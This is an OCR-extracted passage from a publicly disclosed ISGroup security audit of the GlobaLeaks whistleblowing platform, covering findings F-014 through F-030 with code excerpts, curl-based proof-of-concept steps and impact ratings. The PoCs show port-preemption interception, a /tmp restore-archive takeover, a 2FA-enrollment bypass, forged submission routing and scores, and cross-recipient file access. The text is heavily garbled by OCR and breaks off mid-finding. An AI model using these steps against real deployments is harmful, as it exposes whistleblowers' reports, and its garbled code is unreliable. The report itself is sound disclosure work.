s. li
prin
tine
PY

socket . socket (socket . AF_| NET6, socket. SOCK_STREAV)

t sockopt (socket . SOL_SOCKET, socket.SO REUSEADDR 1)
nd(('::", 8443))

sten(16)

t('listening on ::8443")

. sl eep(600)

2. Start Global eaks through the packaged init path.

sudo

/etc/init.d/ global eaks start

3. Observe that startup can succeed even though the daemon logged the failed bind and did not adopt an HTTPS
listener for 8443 .

Coul

d not reserve socket for 8443 (error: Address already in use)
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4. Connect to the public HTTPS port from a client. The init script's NAT rule redirects TCP/443 to TCP/8443, where
the pre-bound local process is listening.

curl -vk https://<server>/

Expected result

Startup should fail closed if any configured public listener cannot be bound, and firewall redirects should not be
left pointing at a port that Globaleaks did not successfully claim.

Actual result

The daemon continues with a partial listener set. The init script can leave public 443 -&gt; 8443 redirection
active even though GlobalLeaks does not own 8443 .

Impact

This is a non-exit-on-failed-initialization vulnerability. A local user on the host can race or preempt the GlobalLeaks
backend HTTPS port during service startup, causing public HTTPS tra c to be delivered to an attacker-controlled
local process. Depending on deployment and client behavior, this can expose submitted data, credentials,
receipts, or service metadata to interception or phishing. The same partial-start behavior also makes listener
availability dependent on which binds happened to succeed.

Impacted users or systems:

o Packaged deployments started through debi an/ gl obal eaks. i nit with network sandboxing enabled.

o Deployments where an unprivileged local user or compromised service can bind the high backend ports
before Global eaks starts.

CONFIDENTIALITY INTEGRITY AVAILABILITY
High Medium Medium

CWE-455 ) Non-exit on Failed Initialization
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10.7 F-014 - gl-admin restore defaults to a
predictable /Z7tmp backup archive

A local user can prepare the default restore archive in /tnp and have a privileged operator load attacker-
controlled platform state.

IMPACT COMPONENT FOUND BY

Platform state takeover Backend GPT-5.5 Pro xhigh via
run_codex_cwe_line v2

gl -adnmin restore uses the same predictable /tnp/ gl obal eaks_backup_YY MM DD. tar.gz default path as

gl -adnmi n backup . A local user can place an attacker-controlled archive at that path before a privileged operator
runs gl-admn restore without an explicit backup filename, causing GlobalLeaks to delete the current data
directory and restore attacker-controlled application state.

Details

A ected source code, component, endpoint, or function:

backend/ bi n/ gl -admi n: defaul t _backup_path(), restore()

Description:

The restore subcommand defines its optional archive argument with default=default_backup_path(), which
resolves to /tmp/globaleaks_backup_YY_MM_DD.targz. That path is predictable and lives in a world-writable
directory on normal Linux systems. The restore code only checks that the path is a readable file, prompts for
confirmation, deletes the configured workdir, recreates it, and passes the archive directly to tar -xf.

If a local user creates the default archive path before an operator runs the restore command without specifying a
trusted backup file, the operator restores data chosen by the local user. The archive can contain a GlobalLeaks
database and data files prepared by the attacker, so the restored service can contain attacker-known
administrator credentials, attacker-controlled configuration, or missing/restored report data. This does not require
tar path traversal; the issue is that a dangerous restore function trusts a predictable file in a shared temporary
directory as its default input.

Relevant code:
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backend/ bi n/ gl - admi n:

60 def defaul t_backup_path():

61 t = datetine.now().strftine("%_%m%l")

62 nane = "gl obal eaks_backup_{}.tar.gz".fornat(t)
63 return os.path.join("/tnp", name)

108 def restore(args):

109 check_di r (args. workdi r)

110

111 check_fil e(args. backuppat h)

127 shutil.rntree(args. workdir)

128 os. makedi rs(args. workdir)

129

130 print("Extracting the archive {}".format(args. backuppath))

131 sp. check_cal | (["tar", "-xf", args.backuppath, "-C', args.workdir])

326 res_p = subp. add_parser("restore", hel p="restore a backup of the setup")
327 add_wor ki ngdi r _pat h_arg(res_p)

328 res_p. add_ar gunent (" backuppat h*, nargs="?", hel p="the path and nane of the
backup",

329 def aul t =def aul t _backup_pat h())

330 res_p. set_defaul ts(func=restore)

PoC

The following reproduces the vulnerable trust decision with a disposable work directory. The attacker-controlled
archive contains a replacement gl obal eaks. db marker; a real attack can use a complete Globaleaks backup
generated from an attacker-controlled instance.

Steps to reproduce

1. As a local user, create the predictable default restore archive for the current date.

ar chi ve="/t np/ gl obal eaks_backup_$(date +%_%m %) .tar.gz"

at t acker _di r=$(nktenp -d)

printf "attacker controlled database\n' > "$attacker_dir/gl obal eaks. db"
tar -zcf "$archive" -C "$attacker _dir" .

chnod 0644 " $ar chi ve"

2. As the operator, restore without specifying a backup filename.

vi cti mworkdi r=$(nktenp -d)

printf 'legitimate database\n' > "$victimworkdir/gl obal eaks. db"
printf "y\n'" | PYTHONPATH=backend backend/bin/gl-admn restore -w
"$vi cti mworkdir"

3. Inspect the restored data directory.

cat "$vi cti mworkdir/gl obal eaks. db"

Expected result

The restore command should require an explicit trusted backup path or refuse to use a default path in a shared
temporary directory. If a default is kept, it should be created and consumed through a private directory or
otherwise verify ownership, permissions, and provenance before deleting and restoring the application data
directory.

Page 200 of 400

All rights reserved ISGroup Sr.l. - www.isgroup.biz - Made in Italy



ISGroup SRL
Via Cantarane, 14
37129 Verona (VR)
. . PIVA IT 04164220230
Information Security REA VR-397513

Labeling PUBLIC Date 30/07/2026 Author ISGroup

Edition 01 Revision 01 Distribution Public disclosure permitted

Actual result

When no archive argument is supplied, gl-admn restore reads /tnp/gl obal eaks_backup_YY MM DD tar.gz ,
deletes the current workdir, and extracts the local user's archive into the workdir.

Impact

This is a local trust-boundary issue in a privileged restore workflow. A local user on the host can prepare the
restore input that a privileged operator may consume by running the restore command with its default archive
argument. Because restore replaces the GlobalLeaks data directory and restarts the service when it was running,
the attacker-controlled archive can alter platform data and configuration.

Impacted users or systems:

e Multi-user Globaleaks hosts where unprivileged local users can create entriesin /tnp .

o Operators or automation that run gl -adnin restore without passing an explicit protected backup path.

CONFIDENTIALITY INTEGRITY AVAILABILITY
High High High

CWE-15 ) External Control of System or Configuration Setting
CWE-676 ) Use of Potentially Dangerous Function
CWE-749 ) Exposed Dangerous Method or Function
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10.8 F-018 - Mandatory 2FA not enforced server-
side before role access

Mandatory 2FA can be bypassed during the pre-enrollment window because password-only login still yields a
usable session.

IMPACT COMPONENT FOUND BY
Authentication policy bypass Backend GPT-5.5 xhigh vl

When platform-wide two-factor authentication is enabled, users without an enrolled two-factor secret are
redirected by the client to the forced 2FA setup page, but the backend still grants them a normal role session
after password authentication. Until the user completes enrollment, authenticated role APIs remain accessible
with only the account password.

Details

A ected source code, component, endpoint, or function:

backend/ gl obal eaks/ handl ers/auth/ __init__.py

backend/ gl obal eaks/ handl ers/user/ __init__.py

backend/ gl obal eaks/ r est/ decor at or s. py

client/app/src/shared/resol vers/ preference.resol ver.ts

client/app/ src/pages/ action/ f or ced- t wo- f act or/ f or ced- t wo- f act or. conponent . t s
client/app/ src/ pages/recipient/recipient.routes.ts

client/app/src/pages/ adm n/adnmin.routes. ts

Description:

The login transaction verifies a TOTP code only when the user already has a two_factor_secret. If the tenant
requires two-factor authentication but the user has not enrolled yet, login succeeds with only the password and
creates a normal role session.

The user's preference serialization reports require_two_factor=true when tenant-level 2FA is enabled and the user
has no enrolled secret. The Angular PreferenceResolver reacts to that flag by navigating to
/action/forcedtwofactor, where the user can enroll 2FA through the enable_2fa user operation.

That redirect is not an authorization boundary. Backend decorators authorize subsequent requests only by
session role and tenant. They do not deny role APIs while require_two_factor is still true. Client routes can also
start other resolvers alongside PreferenceResolver, and some routes omit PreferenceResolver entirely.

An attacker who has obtained the password of a user that has not yet enrolled mandatory 2FA can therefore
access the user's normal role APIs before setting up any second factor, bypassing the configured mandatory-2FA

policy.

Relevant code:
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/1 backend/ gl obal eaks/ handl ers/auth/__init__.py

119: if user.two_factor_secret:

120: if authcode == "":

121: rai se errors. TwoFact or Aut hGodeRequi r ed

122:

123: State.totp_verify(user.two_factor_secret, authcode)

148: session = Sessions.new(tid, user.id, user.tid, user.role, crypto_prv_key,

user. crypt o_escrow_prv_key)

/'l backend/ gl obal eaks/ handl ers/user/ _init__.py

93: if State.tenants[user.tid].cache.two_factor and \

94: user.two_factor_secret == "'":

95: ret['require_two_factor'] = True

/1 backend/ gl obal eaks/ rest/ decorat ors. py

32: def decorator_authentication(f, roles):

38: if self.session and self.session.tid == self.request.tid:

39: if "user' in user_roles and self.session.role in USERS ROLES

40: return f(self, *args, **kwargs)

41: if self.session.role in user_roles:

42:

return f(self, *args, **kwargs)

/1 client/app/src/shared/ resol vers/preference.resolver.ts

21:
22:
23:
24:
25:
26:
27:

29:

return this. httpService.request User Pref erenceResour ce() . pi pe(
nmap( (response: preferenceResol ver Model ) => {
thi s. dat aMbdel = response;
if (this.dataMdel . password_change_needed) {

this.router.navigate(["/action/forcedpasswordchange"]).then();

} else if (this.dataMdel.require_two_factor) {

this.router.navigate(["/action/forcedtwofactor”]).then();

return true;

/1 client/app/src/pages/action/forced-two-factor/forced-two-factor.conponent.ts

31:
39:
40:
41:

42:
43:

"operation": "enable 2fa",
request Coser vabl e. subscri be(
next: () =>{

this. preferenceResol ver. dat avbdel . two_factor = true;
this.authenticationService. session.two_factor = true;

/1 client/app/src/pages/recipient/recipient.routes.ts

25:
26:
29:
30:
31:
34:
35:
36:

path: "reports",

resol ve: {
Pref erenceResol ver, RTi psResol ver

path: "settings",
| oadConponent : () => i nport (' @pp/ pages/reci pi ent/settings/

settings. conponent').then(m => m Reci pi ent Set ti ngsConponent ),

37:
38:

resol ve: {
NodeResol ver

/1 client/app/src/pages/adn n/admn.routes.ts

17:
18:
19:

| oadConponent : () => i nport (' @pp/ pages/ adm n/ hone/ admi n-

hone. conponent ' ) . t hen(m => m adm nHonmeConponent ) ,

20:
21:

PoC

resol ve: {
NodeResol ver, PreferenceResol ver, UsersResol ver

Steps to reproduce
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1. Configure a tenant so that two-factor authentication is mandatory, and use an account that has a valid password
but no enrolled two_fact or _secr et

2. Authenticate with only the password. Because the user has no enrolled TOTP secret, the backend does not
require an aut hcode and returns a normal session.

curl -s -X POST 'https:// TARGET/ api / aut h/ aut henti cation' \
-H ' Content-Type: application/json \
--data ' {"tid":0,"usernane":"USER', "password": " PASSWORD', "aut hcode": ""}*

3. Confirm that the backend reports mandatory enrollment for the same session.

curl -s '"https:// TARGET/ api / user/ pref erences' \
-H'X-Session: SESSION |D

The response includes require_two_factor: true .

4. Before calling api /user/operations with operation: enabl e _2fa , use the same session to access a
normal role endpoint. For a recipient account:

curl -s "https:// TARGET/ api/recipient/rtips" \
-H'X-Session: SESSION | D

For an admin account, role APIs such as CET / api / adm n/ users are likewise authorized by role before 2FA
enrollment completes.

Expected result

When tenant policy requires two-factor authentication and a user has not enrolled it yet, the session should be
restricted to the minimum endpoints needed to enroll 2FA, log out, and fetch required enrollment metadata. Role
APIs should not be reachable until enrollment succeeds.

Actual result

The backend grants a normal role session after password authentication. The client redirects to the forced 2FA

page, but backend role APIs remain accessible before 2FA enrollment is completed.

Impact

An attacker who obtains the password of a user who has not yet enrolled mandatory 2FA can access the account
without completing the required second-factor setup. For recipient accounts, this can expose assigned
whistleblower reports despite a tenant-level policy requiring two-factor authentication. For admin, custodian, or
analyst accounts, the same pattern exposes the role's normal API surface before enrollment.

Impacted users or systems:
¢ Tenants with mandatory two-factor authentication enabled.

e Users who have not yet completed two-factor enroliment.

 Whistleblowers whose reports are accessible to a recipient account protected only by password until
enrollment.
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10.9 F-020 - Questionnaire blocking and scoring
policies are enforced only client-side

A tampered client can ignore questionnaire blocking, rerouting, and scoring rules and submit a report with forged
intake behavior.

IMPACT COMPONENT FOUND BY
Intake policy bypass Backend GPT-5.5 xhigh vl

Questionnaire options can be configured to block a submission, reroute it to specific recipients, and assign a score
used for report triage and conditional fields. These policies are evaluated by the Angular client, but the backend
submission endpoint trusts the client-supplied answers , receivers ,and score values. A submitterusing a
modified client can therefore submit a report after selecting a blocking option, omit recipients that should be
triggered by the selected option, or forge the report score stored and shown to recipients.

Details

A ected source code, component, endpoint, or function:

backend/ gl obal eaks/ handl er s/ whi st | ebl ower/ subni ssi on. py: db_cr eat e_submi ssi on
backend/ gl obal eaks/ rest/request s. py: Subni ssi onDesc

backend/ gl obal eaks/ handl ers/ public. py: serialize_field option
client/app/src/shared/ services/field-utilities.service.ts

client/app/ src/services/ hel per/subni ssi on. service.ts

/ api / whi st | ebl ower/ subni ssi on

Description:

The public questionnaire schema exposes option-level policy fields such as block_submission, trigger_receiver,
score_points, and score_type. The client evaluates those values in FieldUtilitiesService.onAnswersUpdate():
selected blocking options set submission.blocked, selected trigger_receiver options replace the receiver list, and
score options update submission.submission.score.

Those values are not treated as advisory-only data in the client. completeSubmission() refuses to submit when
client validation fails, and SubmissionService.submit() sends the client-derived receivers and score in the final
/api/whistleblower/submission request.

The backend does not recompute these policies from the stored questionnaire and submitted answers.
SubmissionDesc accepts an arbitrary answers dictionary and integer score. db_create_submission() stores
request['score’] directly in InternalTip.score, stores request['answers'] after optional encryption, and creates
ReceiverTip rows only for request['receivers']. It does not reject answers that selected a block_submission option,
does not require recipients listed in a selected option's trigger_receiver, and does not derive the score from
score_points/score_type and the context thresholds.

As a result, questionnaire policies that administrators configure as part of the intake workflow can be bypassed by
any submitter able to alter the client request body.

Relevant code:
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/1 backend/ gl obal eaks/ handl er s/ publ i c. py
323 def serialize_field_ option(option, |anguage):

331 ret = {

332 “id: option.id,

8233 ‘order': option.order,

334 ' bl ock_subni ssi on': opti on. bl ock_subm ssi on,
335 ''score_points': option.score_points,

336 ‘score_type': option.score_type,

337 ‘trigger_receiver': option.trigger_receiver
338 }

/1 client/app/src/shared/ services/field-utilities.service.ts
90 cal cul ateScore(scope: any, field: any, entry: any) {

123 const score = scope. poi nts_to_sum* scope. poi nts_to_ml ;
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124 if (scope.context) {

125 if (score < scope.context.score_threshol d_nedi un) {

126 scope. score = 0;

127 } else if (score < scope.context.score_threshol d_high) {
128 scope. score = 1;

129 } else {

130 scope. score = 2;

131 }

132 }

208 if (option.set) {

209 if (option.block_subm ssion) {

210 scope. bl ock_subm ssion = true;

211 }

212

213 if (scope.subnission & option.trigger_receiver.|ength) {
214 scope. subm ssi on. override_receivers = option.trigger_receiver;
215 }

216 }

248 if (scope.subm ssion) {

249 scope. subni ssi on. subni ssi on. score = scope. score;

250 scope. subni ssi on. bl ocked = scope. bl ock_submi ssi on;

251 }

/1 client/app/src/pages/ whi st ebl ower/subm ssi on/ subm ssi on. conponent . t s

272 this.fieldWilitiesService. onAnswersUpdat e(this);

274 if (!'this.runValidation()) {

275 this.utilsService.scroll ToTop();
276 return;

277 }

310 thi s. submi ssi on. subnit (). subscri be({

Il client/app/src/services/ hel per/subm ssion.service.ts
65 submt() {

66 this. subm ssion.receivers = [];

67

68 if (this.override_receivers.length) {

69 thi s. subm ssion. receivers = this.override_recei vers;

70 } else {

82 const _subnission_data = {

83 context_id: this.subnission.context_id,

84 recei vers: this. subm ssion.receivers,

85 identity_provided: this.subm ssion.identity_provided,
86 answers: this. subm ssion. answers,

87 answer: this. subnission. answer,

88 score: this.subm ssion. score,

89 recei pt: this.subm ssion.receipt

90 bE

/1 backend/ gl obal eaks/ rest/requests. py
120 Submi ssi onDesc = {

121 ‘context_id' : uuid_regexp,
122 ‘receivers': [uuid_regexp],
123 "identity_provided : bool,
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124 "answers': dict,

125 ‘score': int,

126 "receipt': str

127 }

/1 backend/ gl obal eaks/ handl er s/ whi st | ebl ower/ subm ssi on. py

169 answers = request [ answers']

173 receivers =[]

174 for r in session. query(nodels. User).filter(nmodels.User.tid == tid,

nodel s. User.id.in_(request['receivers']), nodels.User.role == 'receiver'):

213 # Eval uate the score |evel

214 itip.score = request['score']

260 if crypto_is_avail able:

261 answers = Base64Encoder . encode( GCE. asynmetric_encrypt (itip.crypto_tip_

pub_key, json.dunps(answers, cls=JSONEncoder).encode())). decode()

262

263 db_set _internal ti p_answers(session, itip.id, questionnaire_hash, answers,

itip.creation_date)

281 for user in receivers:

287 db_create_receivertip(session, user, itip, _tip_key)
PoC

ISGroup SRL

Via Cantarane, 14
37129 Verona (VR)
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Steps to reproduce

1. Configure a questionnaire option that blocks submission, and optionally configure a score value or a

trigger_receiver listonthe same or another selectable option.

ption A
bl ock_subm ssi on = true
score_type = addi tion
score_poi nts = 100
trigger_recei ver = [ REQ PIENT_A]

2. Start a normal whistleblower submission and select Option A. The stock client marks the option as blocking and

will not complete the submission through the UI.

client/app/src/shared/ services/field-utilities.service.ts sets subnission. bl ocked
= true

3. Send the final submission request directly, preserving an answer that selects Option A but choosing arbitrary

receivers and score values.

curl -s -X POST ' https:// TARGET/ api / whi st | ebl ower / subm ssi on' \
-H ' Content-Type: application/json' \
-H ' X-Session: WH STLEBLONER SUBM SSI ON SESSI QN \
--data ' {
"context_id": "OONTEXT_UJ D',
“receivers": ["REQ P ENT_B'],
"identity_provided": false,
"answers": {
"HELD WD [{"value": "CPTION.A WU D'}]
B
"score": 0,
“recei pt": "RECH PT_CR HASH'
3
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4. Observe that the backend creates the report, stores score = 0 , and creates a ReceiverTip for REQ Pl ENT_B
rather than rejecting the blocked answer or applying trigger_recei ver = [ RECI PI ENT_A] .

The report is accepted even though the sel ected option is configured with

bl ock_subm ssi on=true. The stored report score is the client-supplied integer, not
the score derived fromquestionnaire answers. Recipients are created fromthe
client-supplied receivers array.

Expected result

The backend should derive questionnaire policy decisions from the authoritative questionnaire schema and
submitted answers. It should reject a submission that selects a bl ock_subni ssi on option, enforce any server-

side routing semantics associated with tri gger_recei ver , and compute the stored score from configured
option scores and context thresholds.

Actual result

The backend trusts the modified client request. It accepts blocked answer combinations, stores an arbitrary
client-supplied score, and creates recipient access only for the client-supplied receiver IDs.

Impact

This is a server-side validation and workflow-policy bypass in the public submission flow. A submitter can bypass
administrator-configured intake rules and manipulate the metadata and routing that recipients rely on when
triaging reports.

Impacted users or systems:

« Deployments that use blocking questionnaire options to prevent ineligible or unsafe submissions from being
filed.

« Deployments that use option-triggered recipients to route reports based on selected answers.

¢ Recipients relying on report score, score filters, and score-triggered fields for triage.

CONFIDENTIALITY INTEGRITY AVAILABILITY
Low High Low

CWE-602 ) Client-Side Enforcement of Server-Side Security
CWE-20 ) Improper Input Validation
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10.10 F-021 - Personal recipient files
downloadable and deletable by co-recipients

A co-recipient who learns a personal file UUID can still read or delete an attachment that was meant to stay
private.

IMPACT COMPONENT FOUND BY
Sensitive file exposure Backend GPT-5.5 medium v1

Recipient-uploaded files marked as personal are hidden from other recipients in the report serialization, but the
direct recipient file download and delete endpoint only checks that the requesting recipient has access to the
same report. A recipient who obtains or guesses a personal receiver-file UUID can download or delete another
recipient's personal file attached to that report.

Details

A ected source code, component, endpoint, or function:

backend/ gl obal eaks/ handl ers/ reci pient/rtip. py: db_access_rfile

backend/ gl obal eaks/ handl er s/ reci pi ent/rtip. py: Recei ver Fi | eDownl oad. downl oad_rfile
backend/ gl obal eaks/ handl ers/reci pi ent/rtip. py: Recei ver Fi | eDownl oad. del et e

[ api/recipient/rfiles/<uuid>

Description:

ReceiverFile records store an author_id and a visibility value. Files uploaded with visibility=personal are intended
to be visible only to their author among recipients; this intent is visible in serialize_rtip(), which includes personal
receiver files only when ReceiverFile.author_id matches the current recipient.

The direct Zapi/recipient/rfiles/ endpoint does not repeat that visibility/author check.
ReceiverFileDownload.download_rfile() authorizes access by joining the requested ReceiverFile to any
ReceiverTip for the same InternalTip and the requesting recipient. If two recipients have access to the same
report, recipient B can request recipient A's personal ReceiverFile by UUID and the query succeeds because the
file's internaltip_id matches B's ReceiverTip internaltip_id.

The delete path uses db_access_rfile(), which has the same issue: it authorizes any ReceiverFile whose
internaltip_id is in the set of reports accessible to the recipient, without requiring public/internal visibility or author
ownership for personal files.

Relevant code:
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backend/ gl obal eaks/ nodel s/ enuns. py

35 class EnunM si bility(_Enunj:
36 public =0

37 internal =1

38 personal = 2

backend/ gl obal eaks/ handl ers/ reci pi ent/rtip. py

641 new fil e = nodel s. Recei verFil e()

642 new file.id = upl oaded_file['filenane']
643 new file.author_id = user_id

648 new file internaltip_id =itip.id

649 new file.visibility = upl oaded_file['visibility']

backend/ gl obal eaks/ nodel s/ seri al i zers. py
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300 for rfile in session.query(nodel s. ReceiverFile) \

301 .filter(nodel s. ReceiverFile.internaltip_i

itip.id,

302 or _(nodel s. ReceiverFile.visibility != 2,

303 nodel s. Recei verFile.author_id ==
user_id)):

304 ret['rfiles'].append(serialize_rfile(session, rfile))

backend/ gl obal eaks/ handl ers/reci pi ent/rtip. py

603 itips_ids = [x[0] for x in session.query(models.Internal Tip.id)

604 .filter(model s.Internal Tip.id ==

nodel s. Recei verTip.internal tip_id,

605 nodel s. Recei ver Ti p. recei ver _i d
== user_id,

606 nodel s. Internal Tip.tid == tid)]
607

608 return db_get (session,

609 nodel s. Recei verFil e,

610 (nmodel s. ReceiverFile.id == rfile_id,

611 nodel s. Recei verFile.internaltip_id.in_(itips_ids)))
backend/ gl obal eaks/ handl ers/reci pi ent/rtip. py

1362 rfile, rtip, pgp_key = db_get (session,

1363 (nodel s. Recei verFil e,

1364 nodel s. Recei verTi p,

1365 nodel s. User . pgp_key_public),

1366 (nodel s. User.id == user_id,

1367 nodel s. User.id ==

nodel s. Recei ver Ti p. recei ver _i d,

1368 nodel s. ReceiverFile.id == file_id,
1369 nodel s. ReceiverFile.internal tip_id
== nodel s. Recei verTip.internal tip_id,

1370 nodel s. Internal Tip.id ==

nodel s. Recei verTip.internal tip_id,

1371 nodel s. Internal Tip.tid == tid))
1397 return delete rfile(self.request.tid, self.session user_id, file_id)

PoC

Steps to reproduce

1. Create or use a report assigned to two recipients, recipient A and recipient B.

# Recipient A and recipient B nust both have ReceiverTip access to the same

Internal Ti p.
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2. As recipient A, upload a receiver file to the report with personal visibility.

curl -i -X POST 'https://TARGET/ api/recipient/rtips/ REPORT_UJ DY
rfiles?visibility=personal® \

-H ' x-session: REQPIENT_A SESSION \

-F ' flowFi | ename=private-note.txt' \

-F *flowdentifier=recipient-a-private-note' \

-F 'flowlotal Size=12' \

-F ' fl owChunkNunber =1' \

-F ' flowrot al Chunks=1" \

-F 'file=@rivate-note.txt'

3. Obtain the created ReceiverFile UUID. For example, use the upload response as recipient A, a database fixture
in a test instance, or any other disclosure path for the UUID.

RFI LE_WJ D=<reci pi ent A personal ReceiverFile U D>

4. As recipient B, request the direct receiver-file endpoint for recipient A's personal file.

curl -i '"https://TARGET/ api/recipient/rfiles/RFILE UJD \
-H ' x-session: REQ PIENT_B SESSI ON

5. As recipient B, the same authorization gap can be exercised for deletion.

curl -i -X DELETE ' https://TARGET/ api/recipient/rfiles/RFILE U D \
-H ' x-session: REQ PIENT_B SESSI ON

Expected result

The backend should deny access when ReceiverFile.visibility is personal and
Recei verFil e. author _i d does not match the requesting recipient. The same check should apply to download
and delete operations.

Actual result
The backend authorizes the operation because the requested file belongs to a report that the requesting

recipient can access, even when the file was marked personal by another recipient.

Impact

This is an authorization bypass between recipients assigned to the same report. It can expose personal recipient
attachments that were intentionally hidden from other recipients, and it allows another recipient to delete those
attachments if they know the file UUID.

Impacted users or systems:

e Recipients using personal receiver-file visibility to keep report-related attachments private from other
recipients.

o Whistleblowing platforms where multiple recipients collaborate on the same report and recipients are not
mutually trusted.
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10.11 F-024 - Submission endpoint omits forced
recipients via client-controlled receivers list

A modified client can omit recipients that the channel configuration was supposed to force onto every submission.

IMPACT COMPONENT FOUND BY
Workflow bypass Backend GPT-5.5 medium v1

Submission contexts can be configured so that whistleblowers are not allowed to choose recipients, or so that all
configured recipients are selected. The frontend enforces these settings, but the backend still trusts the client-
supplied receivers array. A modified client can submit a report to only a subset of the context recipients even
when the context configuration requires all recipients to receive it.

Details

A ected source code, component, endpoint, or function:

backend/ gl obal eaks/ handl er s/ adm n/ cont ext . py: fill_context_request

backend/ gl obal eaks/ handl er s/ publ i c. py: seri al i ze_cont ext

backend/ gl obal eaks/ handl er s/ whi st | ebl ower/ submi ssi on. py: db_cr eat e_subm ssi on
client/app/ src/services/ hel per/subni ssi on. servi ce. ts: Subm ssi onSer vi ce. set Cont ext R
ecei vers

client/app/ src/pages/ whi st ebl ower/ subm ssi on/ subm ssi on. conponent . t s: Subni ssi onCo
nponent . pr epar eSubni ssi on

/ api / whi st | ebl ower/ subni ssi on

Description:

Context configuration distinguishes between contexts where the reporting user may choose recipients and
contexts where the recipient set is fixed. When allow_recipients_selection is false, backend context administration
forces select_all_receivers to true. The public APl exposes both flags and the list of configured context recipients.

The frontend uses these flags to hide the recipient-selection step and preselect all context recipients. However,
/api/whistleblower/submission does not enforce that invariant. It loads the selected context, then constructs the
actual ReceiverTip rows from request['receivers']; the only backend recipient-count check rejects lists longer than
maximum_selectable_receivers when that maximum is positive. Because select_all_receivers contexts force
maximum_selectable_receivers to 0, that check does not require the submitted list to equal the context receiver
set.

A reporting user can therefore send a direct submission request with only one configured recipient, omitting other
recipients that the administrator intended to receive every report for the context.

Relevant code:
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backend!/ gl obal eaks/ handl er s/ adm n/ cont ext . py

143 if not request['allowrecipients_selection']:
144 request['select_all _receivers'] = True

148 if request['select_all_receivers']:

149 request [ ' maxi num sel ect abl e_recei vers'] = 0

backend/ gl obal eaks/ handl er s/ publ i c. py
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303 ' hidden' : context. hi dden,

307 'select_all_receivers': context.select_all_receivers,

308 ' maxi mum sel ect abl e_recei vers': cont ext. maxi mum sel ect abl e_r ecei vers,
309 “all ow recipi ents_sel ection': context.allowrecipients_sel ection,

316 ‘receivers': data['receivers'].get(context.id, []),

client/app/src/services/ hel per/subni ssion. service.ts

B this. context.receivers. forEach((receiver: string) => {

36 const r = this. appDataService.receivers_by_id[receiver];

50 if (this.context.select_all_receivers || r.forcefully_selected) {
51 this.selected_receivers[r.id] = true;

52 }

53 1)

65 subnit() {

66 thi s. subm ssion. receivers = [];

71 for (const key in this.selected_receivers) {

72 if (Cbject.prototype. hasOwmnProperty.call (this.sel ected_receivers, key))
{

78 t hi s. subm ssi on. r ecei vers. push(key);

74 }

75 }

client/app/ src/pages/ whi st ebl ower/ subm ssi on/ subm ssi on. conponent . ts

90 firstSteplndex() {

91 return this.subm ssion.context.allowrecipients_selection ? -1 :
92 }
104 this. show steps_navi gation_bar = this.context?. allow recipients_sel ection

|| this.questionnaire.steps.length > 1;

107 if (this.context?. allowrecipients_selection) {
108 this.navigation = -1;

109 } else {

110 this.navigation = 0;

111 }

backend/ gl obal eaks/ handl er s/ whi st | ebl ower / subm ssi on. py

173 receivers = []

174 for r in session. query(nodels. User).filter(nodels.User.tid ==tid,

nodel s. Wser.id.in_(request['receivers']), nodels.User.role == "receiver'):

192 if not receivers:

193 raise errors. | nputValidationError("Undable to deliver the submssion to

at |east one recipient")

195 if 0 < context.nmaxi num sel ect abl e_receivers < | en(request['receivers']):
196 raise errors. | nputValidationError("The nunber of recipients sel ected

exceed the configured limt")
281 for user in receivers:

287 db_create_receivertip(session, user, itip, _tip_key)
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PoC

Steps to reproduce

1. Configure a context with multiple recipients and disable whistleblower recipient selection.

Context receivers: RECIPIENT_A RECPIENT_B
al | ow reci pi ents_sel ection = fal se

sel ect_al |l _receivers = true

nmaxi mum sel ect abl e_recei vers = 0

2. Fetch public resources and note that the context exposes both recipient UUIDs while also indicating that
recipient selection is disabled.

curl -s 'https:// TARGET/ api / public'

3. Start or use a whistleblower submission session, then submit to the context while supplying only one of the
configured recipients.

curl -i -X POST ' https://TARGET/ api / whi st | ebl ower/ submi ssion' \
-H ' x-session: WH STLEBLONER SESSI ON \
-H'content-type: application/json' \
--data ‘' {
“context _id": " CONTEXT_WJ D',
"receivers":["REQPIENT_A WU D'],
"identity provided":fal se,
"score": 0,
"answers":{},
“recei pt": "exanpl e receipt"

4.Log in as each recipient and list reports.
curl -i "https://TARGET/ api/recipient/rtips" \
-H ' x-session: REQ Pl ENT_A SESSI ON

curl -i "https://TARGET/ api/recipient/rtips" \
-H ' x-session: REQ Pl ENT_B SESSI ON

Expected result

When a context disables recipient selection or enables select-all behavior, the backend should ignore the client-
supplied subset and deliver to every configured context recipient, or reject any request whose recipient list does
not exactly match the required context recipients.

Actual result

The backend accepts the shortened recei vers array and creates ReceiverTip rows only for the recipients
supplied by the modified client. Omitted recipients do not receive access to the report.

Impact

This is a recipient-routing authorization bypass. It lets an unauthenticated submitter with a normal whistleblower
submission session override a context-level delivery policy that administrators configured to prevent recipient
choice.
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Impacted users or systems:

¢ Tenants using fixed-recipient contexts for mandatory multi-party review, oversight, compliance, escalation, or
anti-retaliation workflows.

¢ Recipients and organizations relying on the context configuration to guarantee that all assigned recipients
receive every report.

CONFIDENTIALITY INTEGRITY AVAILABILITY
High None

Low
CWE-602 ) Client-Side Enforcement of Server-Side Security
Missing Authorization

Page 217 of 400
All rights reserved ISGroup S.r.l. - www.isgroup.biz - Made in Italy



ISGroup SRL
Via Cantarane, 14
37129 Verona (VR)
. . PIVA IT 04164220230
Information Security REA VR-397513

Labeling PUBLIC Date 30/07/2026 Author ISGroup

Edition 01 Revision 01 Distribution Public disclosure permitted

10.12 F-030 - Unvalidated submission answer
nesting can break recipient report access

A crafted submission can store deeply nested answers that later break or degrade recipient access to that report.

IMPACT COMPONENT FOUND BY

Report availability loss Backend Claude Sonnet 4.6 medium
viarun_codex_cwe line vl

The public submission endpoint accepts the answers object as an arbitrary dictionary and stores it without
validating that it matches the questionnaire schema or has a bounded nesting depth. In encrypted deployments,
recipients later open or export the report through code that decrypts the stored answers and recursively indexes
or redacts every nested answer object. A submitter using a modified client can persist deeply nested answer data
that raises Python recursion errors or otherwise consumes excessive recursive processing when recipients access
the report.

Details

A ected source code, component, endpoint, or function:

backend/ gl obal eaks/ handl er s/ whi st | ebl ower / subm ssi on. py: Subni ssi onl nst ance. post
backend/ gl obal eaks/ handl er s/ whi st | ebl ower / submi ssi on. py: i ndex_answer s

backend/ gl obal eaks/ handl er s/ reci pi ent/rtip. py: RTi pl nst ance. get

backend/ gl obal eaks/ handl er s/ r eci pi ent/ export. py: Export Handl er . get

backend/ gl obal eaks/ rest/requests. py: Subni ssi onDesc

Description:

The submission validator only checks that answer s is a dict. It does not validate nested field IDs, list sizes,
recursion depth, or conformance to the questionnaire schema before storing the object. When encryption is
